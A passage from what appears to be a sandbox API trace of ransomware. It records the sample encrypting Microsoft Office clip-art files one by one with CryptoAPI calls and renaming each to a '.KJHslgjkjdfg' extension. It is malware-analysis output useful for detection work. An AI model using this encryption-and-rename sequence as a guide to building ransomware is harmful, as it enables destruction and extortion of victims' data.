lpNumberOfBytesWritten=0x290f270*=0x1750, lpOverlapped=0x0) returned 1 [0160.767] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.767] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.767] SetEndOfFile (hFile=0x114) returned 1 [0160.769] GetProcessHeap () returned 0x2a0000 [0160.769] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.769] GetProcessHeap () returned 0x2a0000 [0160.769] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.kjhslgjkjdfg")) returned 1 [0160.771] CloseHandle (hObject=0x114) returned 1 [0160.771] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0160.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.771] GetProcessHeap () returned 0x2a0000 [0160.771] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.771] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.771] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.771] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.771] GetProcessHeap () returned 0x2a0000 [0160.772] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.772] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.772] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.772] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.774] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.774] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.774] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.774] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.774] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.774] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.774] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c80, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c80, lpOverlapped=0x0) returned 1 [0160.775] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c80, dwBufLen=0x1c80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c80) returned 1 [0160.775] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.775] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c80, lpOverlapped=0x0) returned 1 [0160.775] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.775] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.775] SetEndOfFile (hFile=0x114) returned 1 [0160.778] GetProcessHeap () returned 0x2a0000 [0160.778] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.778] GetProcessHeap () returned 0x2a0000 [0160.778] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.kjhslgjkjdfg")) returned 1 [0160.779] CloseHandle (hObject=0x114) returned 1 [0160.779] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0160.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.780] GetProcessHeap () returned 0x2a0000 [0160.780] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.780] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.781] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0160.787] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.787] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.787] GetProcessHeap () returned 0x2a0000 [0160.788] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.788] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.788] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.788] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.788] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.788] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.788] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.788] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.788] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.788] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.788] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1526, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1526, lpOverlapped=0x0) returned 1 [0160.789] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1530, dwBufLen=0x1530 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1530) returned 1 [0160.789] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.789] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1530, lpOverlapped=0x0) returned 1 [0160.789] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.789] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.790] SetEndOfFile (hFile=0x114) returned 1 [0160.792] GetProcessHeap () returned 0x2a0000 [0160.792] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.792] GetProcessHeap () returned 0x2a0000 [0160.792] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.kjhslgjkjdfg")) returned 1 [0160.793] CloseHandle (hObject=0x114) returned 1 [0160.793] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0160.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.794] GetProcessHeap () returned 0x2a0000 [0160.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.794] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.794] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.796] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.796] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.796] GetProcessHeap () returned 0x2a0000 [0160.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.796] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.796] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.796] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.796] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.797] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.797] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa38, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa38, lpOverlapped=0x0) returned 1 [0160.797] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa40, dwBufLen=0xa40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa40) returned 1 [0160.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.797] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa40, lpOverlapped=0x0) returned 1 [0160.797] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.797] SetEndOfFile (hFile=0x114) returned 1 [0160.799] GetProcessHeap () returned 0x2a0000 [0160.799] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.799] GetProcessHeap () returned 0x2a0000 [0160.799] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.kjhslgjkjdfg")) returned 1 [0160.801] CloseHandle (hObject=0x114) returned 1 [0160.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0160.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.801] GetProcessHeap () returned 0x2a0000 [0160.802] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.802] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.802] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.802] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0160.803] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.803] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.804] GetProcessHeap () returned 0x2a0000 [0160.804] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.804] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.804] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.804] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.804] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.804] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.804] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.804] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.804] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.804] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.804] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6852, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6852, lpOverlapped=0x0) returned 1 [0160.805] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6860, dwBufLen=0x6860 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6860) returned 1 [0160.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.806] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6860, lpOverlapped=0x0) returned 1 [0160.806] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.806] SetEndOfFile (hFile=0x114) returned 1 [0160.808] GetProcessHeap () returned 0x2a0000 [0160.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.808] GetProcessHeap () returned 0x2a0000 [0160.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.kjhslgjkjdfg")) returned 1 [0160.809] CloseHandle (hObject=0x114) returned 1 [0160.809] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0160.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 